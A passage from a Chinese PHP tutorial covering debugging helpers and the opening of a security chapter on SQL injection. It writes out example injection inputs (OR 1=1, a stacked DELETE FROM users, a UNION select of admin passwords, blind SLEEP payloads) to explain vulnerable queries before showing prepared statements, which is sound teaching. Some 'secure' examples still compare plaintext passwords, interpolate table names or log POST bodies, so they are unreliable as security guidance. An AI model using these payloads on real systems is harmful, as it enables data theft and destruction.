    return $result;
}

function multiply($a, $b) {
    echo "执行乘法: $a × $b\n";
    echo "\n调用堆栈:\n";
    debug_print_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
    return $a * $b;
}

// 调用
$total = calculateTotal(100, 5);
echo "\n结果: $total\n";
?>

3. 使用 error_log()

将调试信息记录到日志文件。

<?php
// 自定义调试函数
function debug_log($message, $context = []) {
    $timestamp = date('Y-m-d H:i:s');
    $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

    $caller = $trace[0];
    $file = basename($caller['file']);
    $line = $caller['line'];

    $logMessage = "[$timestamp] $file:$line - $message";

    if (!empty($context)) {
        $logMessage .= " | Context: " . json_encode($context, JSON_UNESCAPED_UNICODE);
    }

    error_log($logMessage . PHP_EOL, 3, 'debug.log');
}

// 使用示例
function processUserData($userData) {
    debug_log("开始处理用户数据", ['userData' => $userData]);

    if (empty($userData['email'])) {
        debug_log("邮箱为空", ['userData' => $userData]);
        return false;
    }

    debug_log("用户数据处理完成");
    return true;
}

// 测试
$user = ['name' => 'John', 'email' => ''];
processUserData($user);
?>

调试函数封装

1. 综合调试函数

<?php
class Debugger {
    private static $enabled = true;
    private static $logFile = 'debug.log';

    // 启用/禁用调试
    public static function enable($enabled = true) {
        self::$enabled = $enabled;
    }

    // 设置日志文件
    public static function setLogFile($filename) {
        self::$logFile = $filename;
    }

    // 打印变量信息
    public static function dump($var, $label = '') {
        if (!self::$enabled) return;

        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
        $caller = $trace[0];

        echo "<pre style='background: #f0f0f0; padding: 10px; margin: 10px; border: 1px solid #ccc;'>";
        if ($label) {
            echo "<strong>$label:</strong> ";
        }
        echo "文件: " . basename($caller['file']) . ":" . $caller['line'] . "\n";
        var_dump($var);
        echo "</pre>";
    }

    // 记录到日志
    public static function log($message, $context = []) {
        if (!self::$enabled) return;

        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
        $caller = $trace[0];

        $timestamp = date('Y-m-d H:i:s');
        $location = basename($caller['file']) . ":" . $caller['line'];

        $logEntry = "[$timestamp] $location - $message";

        if (!empty($context)) {
            $logEntry .= " | " . json_encode($context, JSON_UNESCAPED_UNICODE);
        }

        file_put_contents(self::$logFile, $logEntry . PHP_EOL, FILE_APPEND | LOCK_EX);
    }

    // 条件调试
    public static function dumpIf($condition, $var, $label = '') {
        if ($condition && self::$enabled) {
            self::dump($var, $label);
        }
    }

    // 函数调用时间测量
    public static function measureTime($function, $args = [], $label = '') {
        if (!self::$enabled) {
            return call_user_func_array($function, $args);
        }

        $start = microtime(true);
        $result = call_user_func_array($function, $args);
        $end = microtime(true);

        $duration = round(($end - $start) * 1000, 2);
        $funcName = is_string($function) ? $function : 'anonymous_function';

        self::log("函数执行时间: {$funcName}() = {$duration}ms", $args);

        return $result;
    }

    // 内存使用情况
    public static function memoryUsage($label = '') {
        if (!self::$enabled) return;

        $memory = memory_get_usage(true);
        $peak = memory_get_peak_usage(true);

        $usage = [
            'current' => self::formatBytes($memory),
            'peak' => self::formatBytes($peak)
        ];

        if ($label) {
            self::log("内存使用 ($label)", $usage);
        } else {
            self::log("内存使用", $usage);
        }
    }

    // 格式化字节数
    private static function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }

    // 清空日志文件
    public static function clearLog() {
        file_put_contents(self::$logFile, '');
    }
}

// 使用示例
function testFunction($name, $age) {
    Debugger::log("函数开始", ['name' => $name, 'age' => $age]);
    Debugger::memoryUsage("函数开始时");

    $result = "姓名: $name, 年龄: $age";

    Debugger::dump($result, "函数结果");
    Debugger::memoryUsage("函数结束时");
    Debugger::log("函数结束");

    return $result;
}

// 测试调试功能
Debugger::enable();
Debugger::clearLog();
Debugger::memoryUsage("程序开始");

$output = Debugger::measureTime('testFunction', ['John', 30], 'testFunction');
echo $output;

// 数组调试
$data = [
    'users' => [
        ['name' => 'John', 'age' => 30],
        ['name' => 'Jane', 'age' => 25]
    ],
    'total' => 2
];

Debugger::dump($data, "用户数据");
Debugger::dumpIf(isset($data['total']), $data['total'], "用户总数");
?>

2. 数据库查询调试

<?php
class DatabaseDebugger {
    private $queries = [];
    private $logQueries = false;

    public function enableQueryLogging($enable = true) {
        $this->logQueries = $enable;
    }

    public function logQuery($sql, $params = [], $executionTime = 0) {
        if (!$this->logQueries) return;

        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3);
        $caller = $trace[2] ?? $trace[1] ?? [];

        $query = [
            'sql' => $sql,
            'params' => $params,
            'time' => round($executionTime * 1000, 2),
            'file' => basename($caller['file'] ?? 'unknown'),
            'line' => $caller['line'] ?? 'unknown'
        ];

        $this->queries[] = $query;

        echo "<div style='background: #f9f9f9; padding: 10px; margin: 5px; border-left: 4px solid #007cba;'>";
        echo "<strong>SQL Query:</strong> " . htmlspecialchars($sql) . "<br>";
        if (!empty($params)) {
            echo "<strong>参数:</strong> " . json_encode($params, JSON_UNESCAPED_UNICODE) . "<br>";
        }
        echo "<strong>执行时间:</strong> {$query['time']}ms<br>";
        echo "<strong>位置:</strong> {$query['file']}:{$query['line']}";
        echo "</div>";
    }

    public function getQueryCount() {
        return count($this->queries);
    }

    public function getTotalExecutionTime() {
        return array_sum(array_column($this->queries, 'time'));
    }

    public function getQueries() {
        return $this->queries;
    }

    public function printQuerySummary() {
        if (empty($this->queries)) return;

        echo "<div style='background: #e7f3ff; padding: 10px; margin: 10px; border: 1px solid #007cba;'>";
        echo "<strong>查询统计:</strong><br>";
        echo "总查询数: " . $this->getQueryCount() . "<br>";
        echo "总执行时间: " . $this->getTotalExecutionTime() . "ms<br>";
        echo "平均执行时间: " . round($this->getTotalExecutionTime() / $this->getQueryCount(), 2) . "ms";
        echo "</div>";
    }
}

// 模拟数据库类
class Database {
    private $debugger;

    public function __construct() {
        $this->debugger = new DatabaseDebugger();
        $this->debugger->enableQueryLogging(true);
    }

    public function query($sql, $params = []) {
        $start = microtime(true);

        // 模拟查询执行
        $result = $this->executeQuery($sql, $params);

        $end = microtime(true);
        $executionTime = $end - $start;

        // 记录查询
        $this->debugger->logQuery($sql, $params, $executionTime);

        return $result;
    }

    private function executeQuery($sql, $params) {
        // 模拟查询逻辑
        usleep(rand(1000, 5000));  // 模拟查询延迟
        return ['result' => 'success', 'rows' => rand(1, 10)];
    }

    public function getUsers() {
        return $this->query("SELECT * FROM users WHERE active = ?", [1]);
    }

    public function getUserById($id) {
        return $this->query("SELECT * FROM users WHERE id = ?", [$id]);
    }

    public function insertUser($name, $email) {
        return $this->query("INSERT INTO users (name, email) VALUES (?, ?)", [$name, $email]);
    }

    public function __destruct() {
        $this->debugger->printQuerySummary();
    }
}

// 使用示例
$db = new Database();

$users = $db->getUsers();
$user = $db->getUserById(1);
$db->insertUser('John Doe', 'john@example.com');
?>

Web 调试技巧

1. HTTP 请求调试

<?php
class WebDebugger {
    public static function dumpRequest() {
        echo "<div style='background: #f5f5f5; padding: 15px; margin: 10px; font-family: monospace;'>";

        // 请求信息
        echo "<h3>请求信息</h3>";
        echo "<strong>方法:</strong> " . $_SERVER['REQUEST_METHOD'] . "<br>";
        echo "<strong>URL:</strong> " . $_SERVER['REQUEST_URI'] . "<br>";
        echo "<strong>协议:</strong> " . $_SERVER['SERVER_PROTOCOL'] . "<br>";
        echo "<strong>时间:</strong> " . date('Y-m-d H:i:s') . "<br>";

        // GET 参数
        if (!empty($_GET)) {
            echo "<h3>GET 参数</h3>";
            echo "<pre>" . json_encode($_GET, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "</pre>";
        }

        // POST 参数
        if (!empty($_POST)) {
            echo "<h3>POST 参数</h3>";
            echo "<pre>" . json_encode($_POST, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "</pre>";
        }

        // Cookie 信息
        if (!empty($_COOKIE)) {
            echo "<h3>Cookies</h3>";
            echo "<pre>" . json_encode($_COOKIE, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "</pre>";
        }

        // Headers
        echo "<h3>HTTP Headers</h3>";
        $headers = getallheaders();
        echo "<pre>" . json_encode($headers, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "</pre>";

        echo "</div>";
    }

    public static function logRequest() {
        $logData = [
            'timestamp' => date('Y-m-d H:i:s'),
            'method' => $_SERVER['REQUEST_METHOD'],
            'url' => $_SERVER['REQUEST_URI'],
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'get' => $_GET,
            'post' => $_POST,
            'files' => $_FILES
        ];

        $logMessage = json_encode($logData, JSON_UNESCAPED_UNICODE) . "\n";
        file_put_contents('requests.log', $logMessage, FILE_APPEND | LOCK_EX);
    }
}

// 使用示例
if (isset($_GET['debug']) && $_GET['debug'] == '1') {
    WebDebugger::dumpRequest();
}

WebDebugger::logRequest();
?>

2. Session 调试

<?php
class SessionDebugger {
    public static function dumpSession() {
        if (session_status() == PHP_SESSION_NONE) {
            session_start();
        }

        echo "<div style='background: #fff3cd; padding: 15px; margin: 10px; border: 1px solid #ffeaa7;'>";
        echo "<h3>Session 信息</h3>";
        echo "<strong>Session ID:</strong> " . session_id() . "<br>";
        echo "<strong>Session 状态:</strong> " . self::getSessionStatus() . "<br>";

        if (!empty($_SESSION)) {
            echo "<h4>Session 数据:</h4>";
            echo "<pre>" . json_encode($_SESSION, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "</pre>";
        } else {
            echo "<p>Session 为空</p>";
        }

        echo "</div>";
    }

    public static function watchSession() {
        if (session_status() == PHP_SESSION_NONE) {
            session_start();
        }

        // 记录 Session 变化
        static $lastSession = null;

        if ($lastSession === null) {
            $lastSession = $_SESSION;
            return;
        }

        $changes = self::findSessionChanges($lastSession, $_SESSION);
        if (!empty($changes)) {
            echo "<div style='background: #d4edda; padding: 10px; margin: 10px; border: 1px solid #c3e6cb;'>";
            echo "<h4>Session 变化:</h4>";
            foreach ($changes as $change) {
                echo "$change<br>";
            }
            echo "</div>";
        }

        $lastSession = $_SESSION;
    }

    private static function getSessionStatus() {
        $status = session_status();
        switch ($status) {
            case PHP_SESSION_DISABLED:
                return '禁用';
            case PHP_SESSION_NONE:
                return '未启动';
            case PHP_SESSION_ACTIVE:
                return '活动';
            default:
                return '未知';
        }
    }

    private static function findSessionChanges($old, $new) {
        $changes = [];

        // 检查新增的变量
        foreach ($new as $key => $value) {
            if (!isset($old[$key])) {
                $changes[] = "新增: $key = " . json_encode($value, JSON_UNESCAPED_UNICODE);
            } elseif ($old[$key] !== $value) {
                $changes[] = "修改: $key 从 " . json_encode($old[$key], JSON_UNESCAPED_UNICODE) .
                           " 变为 " . json_encode($value, JSON_UNESCAPED_UNICODE);
            }
        }

        // 检查删除的变量
        foreach ($old as $key => $value) {
            if (!isset($new[$key])) {
                $changes[] = "删除: $key";
            }
        }

        return $changes;
    }
}

// 使用示例
if (isset($_GET['session_debug'])) {
    SessionDebugger::dumpSession();
}

SessionDebugger::watchSession();

// 设置一些 session 数据进行测试
$_SESSION['user_id'] = 123;
$_SESSION['username'] = 'JohnDoe';
$_SESSION['last_login'] = date('Y-m-d H:i:s');
?>

性能调试

1. 执行时间分析

<?php
class PerformanceProfiler {
    private $timers = [];
    private $startMemory;

    public function __construct() {
        $this->startMemory = memory_get_usage(true);
    }

    public function startTimer($name) {
        $this->timers[$name] = ['start' => microtime(true)];
    }

    public function endTimer($name) {
        if (!isset($this->timers[$name])) {
            return false;
        }

        $this->timers[$name]['end'] = microtime(true);
        $this->timers[$name]['duration'] = $this->timers[$name]['end'] - $this->timers[$name]['start'];

        return $this->timers[$name]['duration'];
    }

    public function getTimer($name) {
        return $this->timers[$name] ?? null;
    }

    public function getAllTimers() {
        return $this->timers;
    }

    public function printReport() {
        echo "<div style='background: #e8f5e9; padding: 15px; margin: 10px; border: 1px solid #4caf50;'>";
        echo "<h3>性能分析报告</h3>";

        foreach ($this->timers as $name => $timer) {
            if (isset($timer['duration'])) {
                $duration = round($timer['duration'] * 1000, 2);
                echo "<strong>$name:</strong> {$duration}ms<br>";
            }
        }

        $memoryUsage = memory_get_usage(true) - $this->startMemory;
        $peakMemory = memory_get_peak_usage(true);

        echo "<strong>内存使用:</strong> " . self::formatBytes($memoryUsage) . "<br>";
        echo "<strong>峰值内存:</strong> " . self::formatBytes($peakMemory) . "<br>";

        echo "</div>";
    }

    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 使用示例
$profiler = new PerformanceProfiler();

// 测试不同函数的性能
$profiler->startTimer('array_push');
$arr = [];
for ($i = 0; $i < 10000; $i++) {
    array_push($arr, $i);
}
$profiler->endTimer('array_push');

$profiler->startTimer('direct_assignment');
$arr2 = [];
for ($i = 0; $i < 10000; $i++) {
    $arr2[] = $i;
}
$profiler->endTimer('direct_assignment');

$profiler->startTimer('string_concatenation');
$str = '';
for ($i = 0; $i < 1000; $i++) {
    $str .= "item $i, ";
}
$profiler->endTimer('string_concatenation');

$profiler->startTimer('array_join');
$parts = [];
for ($i = 0; $i < 1000; $i++) {
    $parts[] = "item $i";
}
$str2 = implode(', ', $parts);
$profiler->endTimer('array_join');

$profiler->printReport();
?>

调试最佳实践

1. 调试代码的管理

<?php
class DebugManager {
    private $debugMode;
    private $environment;

    public function __construct($environment = 'production') {
        $this->environment = $environment;
        $this->debugMode = $environment === 'development';
    }

    public function isDebugMode() {
        return $this->debugMode;
    }

    public function assert($condition, $message = '') {
        if ($this->debugMode && !$condition) {
            $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
            $caller = $trace[0];

            echo "<div style='background: #ffebee; padding: 10px; margin: 10px; border: 1px solid #f44336;'>";
            echo "<strong>断言失败!</strong><br>";
            echo "文件: " . basename($caller['file']) . ":" . $caller['line'] . "<br>";
            if ($message) {
                echo "信息: $message";
            }
            echo "</div>";

            die("断言失败,停止执行");
        }
    }

    public function benchmark($description, $callback) {
        if (!$this->debugMode) {
            return $callback();
        }

        $start = microtime(true);
        $memoryBefore = memory_get_usage(true);

        $result = $callback();

        $end = microtime(true);
        $memoryAfter = memory_get_usage(true);

        $duration = round(($end - $start) * 1000, 2);
        $memoryUsed = self::formatBytes($memoryAfter - $memoryBefore);

        echo "<div style='background: #fff3e0; padding: 8px; margin: 5px; border-left: 4px solid #ff9800;'>";
        echo "<strong>$description</strong><br>";
        echo "执行时间: {$duration}ms<br>";
        echo "内存使用: $memoryUsed";
        echo "</div>";

        return $result;
    }

    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 全局调试管理器
$debug = new DebugManager('development');

// 使用示例
function processData($data) {
    global $debug;

    $debug->assert(!empty($data), "数据不能为空");

    return $debug->benchmark('数据处理', function() use ($data) {
        // 模拟数据处理
        $result = [];
        foreach ($data as $item) {
            $result[] = strtoupper($item);
        }
        return $result;
    });
}

// 测试
$data = ['apple', 'banana', 'cherry'];
$processed = processData($data);
print_r($processed);
?>

2. 调试技巧总结

<?php
// 调试工具函数集合
function d($var, $label = '') {
    // 开发环境调试输出
    if (defined('DEBUG_MODE') && DEBUG_MODE) {
        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1);
        $caller = $trace[0];

        echo "<pre style='background: #f0f8ff; padding: 10px; margin: 10px; border: 1px solid #007cba;'>";
        if ($label) {
            echo "<strong>$label:</strong>\n";
        }
        echo "位置: " . basename($caller['file']) . ":" . $caller['line'] . "\n";
        print_r($var);
        echo "</pre>";
    }
}

function dd($var, $label = '') {
    // 调试并停止
    d($var, $label);
    die();
}

function logd($message, $context = []) {
    // 记录调试日志
    if (defined('DEBUG_MODE') && DEBUG_MODE) {
        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1);
        $caller = $trace[0];

        $timestamp = date('Y-m-d H:i:s');
        $location = basename($caller['file']) . ":" . $caller['line'];

        $logMessage = "[$timestamp] $location - $message";
        if (!empty($context)) {
            $logMessage .= " | " . json_encode($context, JSON_UNESCAPED_UNICODE);
        }

        error_log($logMessage . "\n", 3, 'debug.log');
    }
}

// 使用建议
echo "<h2>PHP 调试最佳实践</h2>";
echo "<h3>1. 使用常量控制调试模式</h3>";
echo "<pre>
define('DEBUG_MODE', true);  // 开发环境
define('DEBUG_MODE', false); // 生产环境
</pre>";

echo "<h3>2. 使用合适的调试级别</h3>";
echo "<ul>";
echo "<li><strong>d() - 基本调试</strong>: 输出变量信息,继续执行</li>";
echo "<li><strong>dd() - 深度调试</strong>: 输出变量信息,停止执行</li>";
echo "<li><strong>logd() - 日志调试</strong>: 记录到日志文件,不影响页面</li>";
echo "</ul>";

echo "<h3>3. 调试策略</h3>";
echo "<ul>";
echo "<li>开发环境:开启所有调试功能</li>";
echo "<li>测试环境:开启部分调试功能</li>";
echo "<li>生产环境:关闭所有调试功能</li>";
echo "</ul>";

echo "<h3>4. 常见调试场景</h3>";
echo "<ul>";
echo "<li><strong>变量调试</strong>: 使用 d() 或 dd() 查看变量内容</li>";
echo "<li><strong>函数调试</strong>: 在函数入口和出口添加调试信息</li>";
echo "<li><strong>性能调试</strong>: 使用 microtime() 测量执行时间</li>";
echo "<li><strong>数据库调试</strong>: 记录 SQL 查询和执行时间</li>";
echo "</ul>";

echo "<h3>5. 调试安全</h3>";
echo "<ul>";
echo "<li>生产环境绝对不能显示调试信息</li>";
echo "<li>敏感信息要脱敏处理</li>";
echo "<li>日志文件要定期清理</li>";
echo "</ul>";
?>

通过本节的学习,你应该掌握了PHP调试的各种技巧,包括基本调试方法、高级调试技巧、Web调试、性能调试等。良好的调试习惯能够帮助你更快速地定位和解决问题,提高开发效率和代码质量。

第15章:安全编程

概述

在当今的互联网环境中,Web应用程序安全至关重要。PHP作为最受欢迎的服务器端脚本语言之一,面临着各种安全威胁。本章将详细介绍PHP开发中的安全编程技术,帮助你构建安全、可靠的Web应用程序。

为什么安全编程如此重要?

  1. 保护用户数据:防止敏感信息泄露
  2. 维护系统完整性:避免系统被恶意攻击
  3. 建立用户信任:让用户相信你的应用是安全的
  4. 法律合规要求:许多地区的数据保护法规要求采取适当的安全措施
  5. 避免经济损失:安全漏洞可能导致直接的经济损失

学习目标

通过本章的学习,你将掌握:

  • SQL注入攻击的原理和防护方法
  • XSS攻击的防护技术
  • CSRF攻击的防护措施
  • 密码安全的最佳实践
  • 文件上传安全
  • 会话安全
  • 输入验证和输出编码
  • 安全头部配置
  • 安全审计和日志

安全开发原则

  1. 永不信任用户输入:所有输入都应被视为潜在的威胁
  2. 最小权限原则:只授予必要的权限
  3. 纵深防御:实施多层安全措施
  4. 默认拒绝:默认情况下拒绝访问,明确允许才授权
  5. 保持更新:定期更新PHP版本和依赖库
  6. 最小化暴露:减少敏感信息的暴露

章节结构

本章包含以下主要部分:

  1. SQL注入防护 - 防止数据库注入攻击
  2. XSS攻击防护 - 防止跨站脚本攻击
  3. CSRF防护 - 防止跨站请求伪造
  4. 密码安全 - 安全的密码存储和验证

安全威胁概述

常见的Web安全威胁

威胁类型描述危害等级
SQL注入通过输入框注入恶意SQL代码
XSS攻击注入恶意JavaScript代码
CSRF攻击伪造用户请求执行未授权操作
文件上传漏洞上传恶意文件获取服务器控制权
会话劫持窃取或冒充用户会话
密码泄露明文存储或弱哈希导致的密码泄露
信息泄露暴露敏感的系统信息
拒绝服务攻击消耗系统资源导致服务不可用

PHP安全配置

1. php.ini安全配置

; 错误显示设置
display_errors = Off              ; 生产环境关闭错误显示
log_errors = On                   ; 记录错误到日志
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT

; 文件上传配置
file_uploads = On
upload_max_filesize = 2M
max_file_uploads = 20

; 会话安全设置
session.cookie_httponly = On     ; HTTP Only Cookie
session.cookie_secure = On        ; 仅HTTPS传输Cookie
session.use_strict_mode = On      ; 严格会话模式
session.cookie_samesite = 'Strict'

; 其他安全设置
allow_url_fopen = Off             ; 禁止远程文件打开
allow_url_include = Off           ; 禁止远程文件包含
expose_php = Off                   ; 隐藏PHP版本信息

2. 运行时安全检查

<?php
// 检查PHP版本
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
    die('需要PHP 7.4.0或更高版本');
}

// 安全检查函数
function checkSecuritySettings() {
    $errors = [];

    // 检查是否在生产环境
    if (ini_get('display_errors')) {
        $errors[] = 'display_errors应该设置为Off';
    }

    // 检查文件上传限制
    $maxUpload = ini_get('upload_max_filesize');
    if ($maxUpload > '8M') {
        $errors[] = 'upload_max_filesize建议设置为8M或更小';
    }

    // 检查会话设置
    if (!ini_get('session.cookie_httponly')) {
        $errors[] = 'session.cookie_httponly应该设置为On';
    }

    return $errors;
}

// 执行安全检查
$securityErrors = checkSecuritySettings();
if (!empty($securityErrors)) {
    error_log('安全问题: ' . implode(', ', $securityErrors));
}
?>

安全检查清单

开发阶段

  • 所有用户输入都进行验证
  • 使用参数化查询防止SQL注入
  • 对输出进行编码防止XSS
  • 实施CSRF保护
  • 使用强密码哈希算法
  • 验证文件上传类型和大小
  • 实施适当的访问控制
  • 使用HTTPS传输敏感数据

部署阶段

  • 关闭错误显示
  • 设置适当的文件权限
  • 配置安全头部
  • 启用日志记录
  • 定期备份
  • 监控异常活动
  • 保持系统更新

安全工具和资源

1. 静态代码分析工具

  • PHPStan - 静态分析工具
  • Psalm - 另一个流行的静态分析工具
  • PHP_CodeSniffer - 代码标准检查
  • SensioLabs Security Checker - 检查依赖漏洞

2. Web应用防火墙

  • ModSecurity - Apache/Nginx模块
  • Cloudflare WAF - 云端WAF服务
  • AWS WAF - AWS提供的防火墙服务

3. 安全扫描工具

  • OWASP ZAP - 免费的安全扫描器
  • Burp Suite - 专业Web安全测试工具
  • Nikto - Web服务器扫描器

4. 学习资源

  • OWASP Top 10
  • PHP安全最佳实践指南
  • CERT安全建议
  • PHP官方安全文档

持续学习的重要性

安全是一个持续的过程,新的威胁和攻击手段不断出现。作为开发者,需要:

  1. 保持学习:关注最新的安全动态和漏洞信息
  2. 定期审查:定期审查代码和安全配置
  3. 参与社区:参与安全社区,分享经验
  4. 实践演练:通过CTF等实践提升安全技能
  5. 备份恢复:确保有完善的备份和恢复计划

总结

Web应用程序安全是一个系统工程,需要从多个层面进行保护。通过学习本章内容,你将了解PHP开发中的主要安全威胁和防护措施。记住,安全不是一次性的任务,而是一个需要持续关注和改进的过程。

在开始学习具体的安全技术之前,请确保:

  1. 理解基本的Web应用架构
  2. 熟悉PHP的语法和特性
  3. 有实际的PHP项目经验
  4. 准备好将安全意识融入日常开发

让我们一起开始学习PHP安全编程,构建更加安全的Web应用程序!

SQL注入防护

什么是SQL注入

SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,来操纵或破坏数据库。这是最常见和最危险的Web应用安全漏洞之一。

SQL注入的危害

  1. 数据泄露:攻击者可以窃取敏感数据
  2. 数据篡改:修改或删除数据库中的数据
  3. 权限提升:获得管理员权限
  4. 系统控制:在某些情况下可以控制整个服务器

SQL注入的基本原理

1. 不安全的查询构建

<?php
// 危险的代码示例 - 容易受到SQL注入攻击
$userId = $_GET['id'];

// 直接将用户输入拼接到SQL语句中
$sql = "SELECT * FROM users WHERE id = $userId";

$result = mysqli_query($conn, $sql);
?>

2. 攻击示例

<?php
// 正常请求
// URL: user.php?id=1
// 生成的SQL: SELECT * FROM users WHERE id = 1

// 恶意请求
// URL: user.php?id=1 OR 1=1
// 生成的SQL: SELECT * FROM users WHERE id = 1 OR 1=1
// 结果:返回所有用户数据

// 更危险的攻击
// URL: user.php?id=1; DELETE FROM users; --
// 生成的SQL: SELECT * FROM users WHERE id = 1; DELETE FROM users; --
// 结果:删除整个users表
?>

SQL注入的常见类型

1. 基于UNION的注入

<?php
// 攻击者利用UNION查询获取其他表的数据
// 输入: 1 UNION SELECT username, password FROM admin
$userId = $_GET['id'];
$sql = "SELECT name, email FROM users WHERE id = $userId";

// 结果:同时查询admin表的用户名和密码
?>

2. 基于布尔的盲注

<?php
// 攻击者通过真假条件逐个猜测数据
// 输入: 1 AND (SELECT SUBSTRING(password,1,1) FROM admin WHERE id=1)='a'
$userId = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $userId";

// 通过返回结果判断条件真假
?>

3. 基于时间的盲注

<?php
// 利用数据库函数延迟响应来判断条件
// 输入: 1 AND IF((SELECT password FROM admin WHERE id=1) LIKE 'a%', SLEEP(5), 0)
$userId = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $userId";
?>

SQL注入防护方法

1. 使用预处理语句(Prepared Statements)

预处理语句是防止SQL注入最有效的方法。

使用PDO预处理语句

<?php
class Database {
    private $pdo;

    public function __construct($host, $dbname, $username, $password) {
        try {
            $dsn = "mysql:host=$host;dbname=$dbname;charset=utf8mb4";
            $this->pdo = new PDO($dsn, $username, $password, [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false
            ]);
        } catch (PDOException $e) {
            die("数据库连接失败: " . $e->getMessage());
        }
    }

    // 安全的用户查询
    public function getUserById($id) {
        $sql = "SELECT * FROM users WHERE id = ?";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$id]);
        return $stmt->fetch();
    }

    // 安全的用户登录
    public function loginUser($username, $password) {
        $sql = "SELECT * FROM users WHERE username = ? AND password = ?";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$username, $password]);
        return $stmt->fetch();
    }

    // 安全的插入操作
    public function insertUser($username, $email, $password) {
        $sql = "INSERT INTO users (username, email, password) VALUES (?, ?, ?)";
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([$username, $email, $password]);
    }

    // 安全的更新操作
    public function updateUser($id, $username, $email) {
        $sql = "UPDATE users SET username = ?, email = ? WHERE id = ?";
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([$username, $email, $id]);
    }

    // 安全的删除操作
    public function deleteUser($id) {
        $sql = "DELETE FROM users WHERE id = ?";
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([$id]);
    }
}

// 使用示例
$db = new Database('localhost', 'myapp', 'user', 'pass');

// 安全的查询
$userId = $_GET['id'];
$user = $db->getUserById($userId);

if ($user) {
    echo "用户名: " . htmlspecialchars($user['username']);
} else {
    echo "用户不存在";
}
?>

使用mysqli预处理语句

<?php
class MySQLiDB {
    private $conn;

    public function __construct($host, $username, $password, $dbname) {
        $this->conn = new mysqli($host, $username, $password, $dbname);

        if ($this->conn->connect_error) {
            die("连接失败: " . $this->conn->connect_error);
        }

        // 设置字符集
        $this->conn->set_charset("utf8mb4");
    }

    // 安全的查询方法
    public function query($sql, $params = []) {
        $stmt = $this->conn->prepare($sql);

        if ($stmt === false) {
            die("预处理失败: " . $this->conn->error);
        }

        if (!empty($params)) {
            // 动态绑定参数
            $types = str_repeat('s', count($params));
            $stmt->bind_param($types, ...$params);
        }

        $stmt->execute();
        return $stmt;
    }

    // 获取单行数据
    public function fetchOne($sql, $params = []) {
        $result = $this->query($sql, $params);
        return $result->get_result()->fetch_assoc();
    }

    // 获取多行数据
    public function fetchAll($sql, $params = []) {
        $result = $this->query($sql, $params);
        return $result->get_result()->fetch_all(MYSQLI_ASSOC);
    }

    // 插入数据
    public function insert($table, $data) {
        $columns = array_keys($data);
        $placeholders = array_fill(0, count($columns), '?');
        $values = array_values($data);

        $sql = "INSERT INTO $table (" . implode(', ', $columns) . ")
                VALUES (" . implode(', ', $placeholders) . ")";

        $stmt = $this->query($sql, $values);
        return $stmt->insert_id;
    }
}

// 使用示例
$db = new MySQLiDB('localhost', 'user', 'pass', 'myapp');

// 安全的登录验证
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT id, username, role FROM users WHERE username = ? AND password = ?";
$user = $db->fetchOne($sql, [$username, $password]);

if ($user) {
    session_start();
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['username'] = $user['username'];
    $_SESSION['role'] = $user['role'];
    header('Location: dashboard.php');
} else {
    echo "用户名或密码错误";
}
?>

2. 输入验证和过滤

<?php
class InputValidator {
    // 验证ID(必须是正整数)
    public static function validateId($input) {
        if (filter_var($input, FILTER_VALIDATE_INT) && $input > 0) {
            return (int)$input;
        }
        throw new InvalidArgumentException("无效的ID");
    }

    // 验证用户名(字母数字下划线,3-20字符)
    public static function validateUsername($input) {
        if (preg_match('/^[a-zA-Z0-9_]{3,20}$/', $input)) {
            return $input;
        }
        throw new InvalidArgumentException("用户名只能包含字母、数字和下划线,长度3-20字符");
    }

    // 验证邮箱
    public static function validateEmail($input) {
        if (filter_var($input, FILTER_VALIDATE_EMAIL)) {
            return $input;
        }
        throw new InvalidArgumentException("无效的邮箱地址");
    }

    // 验证字符串长度
    public static function validateLength($input, $min, $max) {
        $length = mb_strlen($input, 'UTF-8');
        if ($length >= $min && $length <= $max) {
            return $input;
        }
